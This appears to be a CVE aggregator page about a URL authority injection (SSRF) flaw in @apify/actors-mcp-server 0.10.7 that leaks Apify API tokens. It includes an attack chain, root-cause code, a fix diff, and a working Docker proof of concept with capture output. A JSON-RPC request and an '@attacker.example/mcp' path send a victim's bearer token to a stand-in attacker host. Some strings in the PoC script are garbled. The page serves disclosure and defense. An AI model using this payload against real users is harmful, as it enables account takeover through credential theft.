Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessPublish malicious Actor with '@'-prefixed webServerMcpPath
-
DeliveryLure victim to invoke fetch-actor-details/call-actor on it
-
ExploitURL authority injection resolves connection to attacker host
-
ExecutionMCP client attaches Bearer APIFY_TOKEN
-
PersistToken exfiltrated to attacker HTTPS server
-
ImpactFull Apify account takeover
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Credential Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires: (1) the victim runs @apify/actors-mcp-server 0.10.7 with an Apify API token configured via the APIFY_TOKEN env var, server options, or the _meta.apifyToken request field; (2) an attacker has published an Actor on the Apify platform whose Actor definition sets webServerMcpPath to an authority-injecting value beginning with '@' (e.g., '@attacker.example/mcp'); and (3) the victim is induced (CVSS UI:R) to invoke call-actor, fetch-actor-details, or an actor-mcp type tool against that attacker-controlled Actor identifier. Limiting factors that reduce realistic risk: the mandatory user interaction (the victim must actively target the malicious Actor), the requirement that a token actually be configured, and the need for the attacker to have a publishable/reachable Actor definition on the Apify API. No special privileges on the victim host and no code execution on the victim machine are needed (PR:N). |
| Impact | Signals are moderately strong but not maximal. The supplied CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N, 8.1 High) reflects network reachability and low complexity, but critically depends on UI:R - the victim must be induced to invoke a tool against an attacker-controlled Actor, which is a real limiting factor and argues against automated, wormable exploitation. A detailed, working PoC exists (publicly available exploit code exists), raising practical risk above a theoretical finding, but there is no CISA KEV listing and no EPSS score in the provided data, so there is no evidence of active or widespread exploitation - treat this as demonstrated-and-credible rather than in-the-wild. Note a modeling nuance: the input scores I:H, yet the direct demonstrated impact is credential disclosure (confidentiality); integrity/availability harm to the victim's Apify account is a downstream consequence of the stolen full-access token rather than a direct effect on the vulnerable component. Because the leaked token grants full Apify account access, the real-world impact of a successful lure is severe. Overall: a genuine priority for anyone running the affected version with a token configured, tempered by the required user interaction and the absence of KEV/EPSS confirmation. |
| Exploit ScenarioDerived | An attacker publishes an Actor on the Apify platform whose definition sets webServerMcpPath to '@attacker.example/mcp', then lures a victim (e.g., via a helpful-looking Actor name) into running fetch-actor-details or call-actor against it from their MCP client. The client builds 'https://<actor-id>.apify.actor@attacker.example/mcp', resolves the host to attacker.example, and sends 'Authorization: Bearer <victim APIFY_TOKEN>' to the attacker, who now holds full account access. A working Docker PoC (exploit.mjs) demonstrates the capture end to end. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 01, 2026
Apify API token exfiltration in @apify/actors-mcp-server 0.10.7 lets a remote attacker steal a victim's bearer credential via URL authority injection (CWE-918/SSRF). Because getActorMCPServerURL() naively concatenates a trusted standby base URL with an attacker-controlled webServerMcpPath from an Actor definition, an Actor published with a value like '@attacker.example/mcp' causes the WHATWG URL parser to resolve the outbound connection to the attacker's host, and connectMCPClient() unconditionally forwards the victim's 'Authorization: Bearer <APIFY_TOKEN>' header there. Publicly available exploit code exists (a Docker-based PoC that captures the token on an attacker HTTPS server); no active exploitation is confirmed.
RemediationAI
Upstream fix available (recommended code change published in advisory GHSA-6gr2-qh89-hxwm); a released patched version is not stated in the provided data and should be confirmed against the vendor advisory at https://github.com/apify/apify-mcp-server/security/advisories/GHSA-6gr2-qh89-hxwm before upgrading. Apply the vendor fix, which replaces the naive concatenation in src/mcp/actors.ts with URL resolution plus an origin check (construct new URL(mcpServerPath, standbyUrl + '/'), reject the result unless url.origin === standbyUrl, and clear url.username/url.password) so authority-injected paths are refused. Until you can upgrade, reduce exposure with concrete controls: avoid invoking call-actor, fetch-actor-details, or actor-mcp type tools against untrusted or attacker-supplied Actor identifiers (trade-off: limits legitimate discovery of third-party Actors); scope the configured Apify API token to the minimum permissions needed and rotate it if you suspect exposure (trade-off: rotation invalidates existing automations); and, where feasible, egress-filter the MCP server so it can only reach *.apify.actor and Apify API hosts, which blocks exfiltration to arbitrary attacker hosts (trade-off: may break Actors that legitimately call out to other origins).
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in npm, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected component is the npm package @apify/actors-mcp-server (pkg:npm/@apify_actors-mcp-server), a Node.js Model Context Protocol (MCP) server that lets MCP clients invoke Apify Actors. The root cause is CWE-918 Server-Side Request Forgery expressed as URL authority/userinfo injection: src/mcp/actors.ts:44 builds the standby MCP endpoint as ${standbyUrl}${mcpServerPath} where mcpServerPath derives from the Actor definition's webServerMcpPath field (fetched from the Apify API in src/utils/actor.ts:24-28 and split in getActorMCPServerPath at src/mcp/actors.ts:14-20). The path is never validated to begin with '/', to exclude '@', or to preserve the standby origin. Per RFC 3986 and the WHATWG URL standard, everything before an '@' is parsed as userinfo, so 'https://real-actor-id.apify.actor@attacker.example/mcp' resolves with hostname 'attacker.example'. The injected URL flows through three call sites (call_actor_common.ts:317, actor_details.ts:155, server.ts:1047) into connectMCPClient() (src/mcp/client.ts:94/103/124), which attaches the bearer token to SSE and StreamableHTTP transports with no origin check between URL construction and the outbound request.
Know when Node.js gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Remote, low-complexity, no privileges, but the victim must invoke the malicious Actor (UI:R); direct impact is full credential disclosure (C:H), with integrity/availability harm being downstream account effects, not direct (I:N/A:N).
Primary rating from Vendor (https://github.com/apify/apify-mcp-server).
CVSS VectorVendor: https://github.com/apify/apify-mcp-server
DescriptionCVE.org
Actor MCP path authority injection leaks Apify token
Summary
@apify/actors-mcp-server version 0.10.7 builds Actor standby URLs by directly concatenating a trusted base URL with an attacker-controlled webServerMcpPath value taken from an Actor definition returned by the Apify API. An attacker who publishes a malicious Actor with a crafted webServerMcpPath (e.g., @attacker.example/mcp) can cause the MCP client to resolve the final URL to an entirely different host. Because the MCP client unconditionally attaches the victim's Authorization: Bearer <APIFY_TOKEN> header to every outbound connection, the victim's Apify API token is exfiltrated to the attacker's server. CVSS Base Score: 8.1 (High).
Details
getActorMCPServerURL() in src/mcp/actors.ts:44 constructs the Actor standby MCP URL by naive string concatenation:
// src/mcp/actors.ts:44
return `${standbyUrl}${mcpServerPath}`;mcpServerPath originates from the webServerMcpPath field of an Actor definition fetched from the Apify API (src/utils/actor.ts:24-28). The field is trimmed and comma-split in getActorMCPServerPath() (src/mcp/actors.ts:14-20) but is never validated to:
- begin with a
/(relative path), - avoid an
@character (userinfo/authority injection), or - resolve to the same origin as
standbyUrl.
When webServerMcpPath is set to @attacker.example/mcp, the concatenated result becomes:
https://real-actor-id.apify.actor@attacker.example/mcpNode.js's WHATWG URL parser treats everything before @ as userinfo and extracts attacker.example as the hostname. This is not an edge-case browser behavior - it is specified by RFC 3986 and the WHATWG URL standard.
The constructed URL is forwarded to connectMCPClient() through three independent code paths:
| Call site | Trigger |
|---|---|
src/tools/core/call_actor_common.ts:317 | call-actor MCP tool |
src/utils/actor_details.ts:155 | fetch-actor-details MCP tool |
src/mcp/server.ts:1047 | actor-mcp type tool loading |
connectMCPClient() (src/mcp/client.ts) attaches the victim's Apify token as a bearer credential to every transport type:
// src/mcp/client.ts:94 - SSEClientTransport requestInit
authorization: `Bearer ${token}`,
// src/mcp/client.ts:103 - SSE fetch callback
headers.set('authorization', `Bearer ${token}`);
// src/mcp/client.ts:124 - StreamableHTTPClientTransport requestInit
authorization: `Bearer ${token}`,There is no origin check anywhere between URL construction and the outbound HTTP request.
Full data-flow chain:
src/mcp/server.ts:811- MCPtools/callrequest parameters are read.src/mcp/server.ts:816-apifyTokenis resolved from_meta.apifyToken, server options, orprocess.env.APIFY_TOKEN.src/tools/core/call_actor_common.ts:489-497- attacker-controlledactoridentifier is resolved viagetActorMcpUrlCached().src/utils/actor.ts:24-28- Actor definition is fetched from the Apify API;webServerMcpPathis passed togetActorMCPServerURL().src/mcp/actors.ts:14-20-webServerMcpPathis trimmed and split; first element is returned without path validation.src/mcp/actors.ts:44-standbyUrl + mcpServerPathproduces an authority-injected URL.connectMCPClient()is called with the injected URL and the victim's token.src/mcp/client.ts:94/103/124-Authorization: Bearer <APIFY_TOKEN>is sent to the attacker's host.
PoC
Environment requirements:
- Docker (network-isolated container; no external network access needed)
- The repository at commit
4e2b185checked out under the build context
Build and run:
# Build the exploit image (from the mcp_38_apify__actors-mcp-server/ context directory)
docker build -t vuln-001-poc \
-f vuln-001/Dockerfile \
/path/to/mcp_38_apify__actors-mcp-server
# Run the exploit (--network none: fully air-gapped)
docker run --rm --network none vuln-001-pocThe Dockerfile:
- Generates a self-signed TLS certificate for
127.0.0.1(IP SAN required for Node.js TLS validation). - Installs
@apify/actors-mcp-server@0.10.7dependencies underpnpm. - Sets
NODE_EXTRA_CA_CERTSso Node.js trusts the self-signed CA. - Runs
exploit.mjs, which:
- Starts an HTTPS capture server on
127.0.0.1:31337. - Constructs a
webServerMcpPathof@127.0.0.1:31337/mcp. - Calls
getActorMCPServerURL()directly, producinghttps://apify~hello-world.apify.actor@127.0.0.1:31337/mcp. - Calls
connectMCPClient()with a simulated victim token (apify_api_VICTIM_SECRET_TOKEN_DEMO_12345). - Asserts that the capture server received
Authorization: Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345.
Observed output (Phase 2 evidence):
parsed.hostname : 127.0.0.1
[PASS] URL injection confirmed: request will be sent to 127.0.0.1:31337
=== STEP 2: attacker HTTPS server received request ===
Authorization : Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345
=== RESULT: EXPLOIT SUCCESSFUL ===
[PROOF] Victim token "Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345" arrived at attacker server 127.0.0.1:31337Alternative MCP request path (real-world scenario):
A victim running @apify/actors-mcp-server connected to an MCP host sends the following request, where attacker/malicious-mcp is an Actor published with webServerMcpPath = "@attacker.example/mcp":
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "fetch-actor-details",
"arguments": {
"actor": "attacker/malicious-mcp",
"output": { "mcpTools": true }
},
"_meta": { "mcpSessionId": "poc-session" }
}
}The attacker's server at attacker.example receives:
Authorization: Bearer apify_api_victim_tokenURL parser primitive (Node.js REPL verification):
node -e "const u=new URL('https://ABC.apify.actor@127.0.0.1:31337/mcp'); console.log(u.hostname, u.username)"
# Output: 127.0.0.1 ABC.apify.actorRecommended fix:
--- a/src/mcp/actors.ts
+++ b/src/mcp/actors.ts
export async function getActorMCPServerURL(realActorId: string, mcpServerPath: string): Promise<string> {
const standbyUrl = await getActorStandbyURL(realActorId, standbyBaseUrl);
- return `${standbyUrl}${mcpServerPath}`;
+ const url = new URL(mcpServerPath, `${standbyUrl}/`);
+ if (url.origin !== standbyUrl) {
+ throw new Error('Actor MCP server path must resolve under the Actor standby URL');
+ }
+ url.username = '';
+ url.password = '';
+ return url.toString();
}Impact
Any user of @apify/actors-mcp-server who:
- has an Apify API token configured (via
APIFY_TOKEN, server options, or_meta.apifyToken), and - is induced to invoke
call-actor,fetch-actor-details, or any actor-mcp type tool against an attacker-controlled Actor,
will have their Apify API token silently exfiltrated to the attacker's server. The Apify API token grants full access to the victim's Apify account, including running and managing Actors, accessing stored data, and incurring compute charges. The attack requires no special privileges on the victim's side and no code execution on the victim's machine - only a crafted Actor definition on the Apify platform.
This is a Server-Side Request Forgery (SSRF) / URL authority injection vulnerability. The attacker redirects the MCP client's outbound connection to an arbitrary host while the client continues to send the victim's credential.
Reproduction artifacts
Dockerfile
FROM node:24-slim
# ─── system packages ───────────────────────────────────────────────────────────
RUN apt-get update && apt-get install -y --no-install-recommends openssl python3 \
&& rm -rf /var/lib/apt/lists/*
# ─── self-signed TLS cert for the attacker capture server (127.0.0.1) ─────────
# IP SAN required: Node.js rejects certs without SAN matching the requested hostname.
RUN mkdir /certs && \
openssl req -x509 -newkey rsa:2048 \
-keyout /certs/key.pem -out /certs/cert.pem \
-days 1 -nodes \
-subj '/CN=127.0.0.1' \
-addext 'subjectAltName=IP:127.0.0.1' \
2>/dev/null
# ─── vulnerable package ────────────────────────────────────────────────────────
WORKDIR /app
COPY repo/ ./
# pnpm@11 is pinned in devEngines; npm/yarn refuse to run inside this checkout.
RUN npm install -g pnpm@11.1.3 --quiet 2>/dev/null
# Install only production deps - build output not needed; exploit imports from source via tsx.
# --frozen-lockfile validates the lockfile is up-to-date with package.json.
RUN pnpm install --frozen-lockfile
# ─── exploit files ─────────────────────────────────────────────────────────────
COPY vuln-001/exploit.mjs /exploit.mjs
# Trust our self-signed CA so both undici/fetch and node:https accept TLS connections to 127.0.0.1.
ENV NODE_EXTRA_CA_CERTS=/certs/cert.pem
CMD ["node", "/exploit.mjs"]poc.py
#!/usr/bin/env python3
"""
VULN-001 dynamic PoC driver.
Builds the Docker image, runs the exploit container, collects observable evidence,
and writes phase2_result.json with the outcome.
"""
import json
import os
import subprocess
import sys
import textwrap
# ─── paths ────────────────────────────────────────────────────────────────────
THIS_DIR = os.path.dirname(os.path.abspath(__file__))
# vuln-001/
CONTEXT_DIR = os.path.dirname(THIS_DIR)
# mcp_38_apify__actors-mcp-server/
DOCKERFILE = os.path.join(THIS_DIR, 'Dockerfile')
RESULT_PATH = os.path.join(THIS_DIR, 'phase2_result.json')
IMAGE_TAG = 'vuln-001-poc'
BUILD_CMD = ['docker', 'build', '-t', IMAGE_TAG, '-f', DOCKERFILE, CONTEXT_DIR]
RUN_CMD = ['docker', 'run', '--rm', '--network', 'none', IMAGE_TAG]
def run(cmd, *, timeout, **kwargs):
return subprocess.run(cmd, capture_output=True, text=True, timeout=timeout, **kwargs)
def write_result(payload: dict):
with open(RESULT_PATH, 'w') as f:
json.dump(payload, f, indent=2, ensure_ascii=False)
print(f'\n[*] phase2_result.json write complete: {RESULT_PATH}')
def main():
print('=' * 70)
print('VULN-001 dynamic reproduction - Actor MCP path authority injection')
print('=' * 70)
# ── 1. Docker build ───────────────────────────────────────────────────────
print(f'\n[1/2] building Docker image...')
print(f' command: {" ".join(BUILD_CMD)}')
build = run(BUILD_CMD, timeout=600)
if build.returncode != 0:
msg = build.stderr[-2000:] if build.stderr else build.stdout[-2000:]
print('[!] build failed:\n', msg)
write_result({
'passed': False,
'verdict': 'FAIL',
'reason': f'Docker build failed. error: {msg[:500]}',
'build_command': ' '.join(BUILD_CMD),
'run_command': ' '.join(RUN_CMD),
'poc_command': f'python3 {os.path.relpath(__file__)}',
'evidence': msg[:1000],
'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
})
sys.exit(1)
print('[+] build succeeded')
# ── 2. Docker run ─────────────────────────────────────────────────────────
print(f'\n[2/2] text while running the container...')
print(f' command: {" ".join(RUN_CMD)}')
try:
run_result = run(RUN_CMD, timeout=120)
except subprocess.TimeoutExpired:
write_result({
'passed': False,
'verdict': 'INCOMPLETE',
'reason': 'container execution 120seconds timeout. text text or TLS handshake issuetext can exists.',
'build_command': ' '.join(BUILD_CMD),
'run_command': ' '.join(RUN_CMD),
'poc_command': f'python3 {os.path.relpath(__file__)}',
'evidence': 'timeout',
'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
})
sys.exit(1)
stdout = run_result.stdout
stderr = run_result.stderr
print('\n--- container stdout ---')
print(stdout)
if stderr:
print('--- container stderr (text 1000characters) ---')
print(stderr[:1000])
# ── 3. result verdict ──────────────────────────────────────────────────────────
passed = (
run_result.returncode == 0
and 'attacker HTTPS server received request' in stdout
and 'EXPLOIT SUCCESSFUL' in stdout
and 'apify_api_VICTIM_SECRET_TOKEN_DEMO_12345' in stdout
)
# Build evidence excerpt (key lines only)
evidence_lines = [l for l in stdout.splitlines()
if any(k in l for k in ['PASS', 'PROOF', 'received request',
'EXPLOIT', 'parsed.hostname', 'Authorization'])]
evidence = '\n'.join(evidence_lines[:20]) if evidence_lines else stdout[-1500:]
if passed:
print('\n[✓] PASS - token leak vulnerability dynamic reproduction success')
write_result({
'passed': True,
'verdict': 'PASS',
'reason': (
'Docker container withintext vulnerabilitytext fully reproductiondone. '
'actors.ts:44text `${standbyUrl}${mcpServerPath}` string text '
'`@127.0.0.1:31337/mcp` formtext mcpServerPathtext textdo '
'`https://apify~hello-world.apify.actor@127.0.0.1:31337/mcp` URLtext createand, '
'Node.js URL text hostnametext 127.0.0.1(attacker server)text dotextdo '
'client.ts:94text `Authorization: Bearer <APIFY_TOKEN>` headertext attacker HTTPS servertext beforetextdone.'
),
'build_command': ' '.join(BUILD_CMD),
'run_command': ' '.join(RUN_CMD),
'poc_command': f'python3 poc.py',
'evidence': evidence,
'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
})
else:
reason_detail = ''
if run_result.returncode != 0:
reason_detail = f'container exit code {run_result.returncode}. '
if 'TOKEN_CAPTURED' not in stdout:
reason_detail += 'attacker serverfrom token capture text textnot not. '
if 'EXPLOIT SUCCESSFUL' not in stdout:
reason_detail += 'final success message none. '
print(f'\n[✗] FAIL - {reason_detail}')
write_result({
'passed': False,
'verdict': 'FAIL',
'reason': f'failed to reproduce the vulnerability. {reason_detail}stderr: {stderr[:300]}',
'build_command': ' '.join(BUILD_CMD),
'run_command': ' '.join(RUN_CMD),
'poc_command': f'python3 poc.py',
'evidence': stdout[-2000:] + ('\nSTDERR: ' + stderr[:500] if stderr else ''),
'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
})
sys.exit(1)
if __name__ == '__main__':
main()Articles & Coverage 3
Executive ViewAI
@apify/actors-mcp-server 0.10.7 enables attackers to steal API authentication tokens through malicious Actor definitions, allowing complete account compromise and unauthorized API access. Organizations using this package must immediately audit deployments and implement emergency compensating controls.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable @apify/actors-mcp-server 0.10.7 if operationally feasible; (2) Implement strict egress filtering to block non-approved MCP outbound connections; (3) Enforce immediate API token rotation with 90-day maximum lifetime; (4) Restrict Actor publication to exclusively vetted internal development teams; (5) Deploy real-time API audit logging with alerting for token usage anomalies; (6) Apply least-privilege API scoping limiting token access to required endpoints only.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
A vulnerability in NuPoint Messenger (NPM) of Mitel MiCollab through 9.8.0.33 allows an unauthenticated attacker to cond
EUVD-2026-61136
GHSA-6gr2-qh89-hxwm
NVD
CVE.org
EPSS
Exploit-DB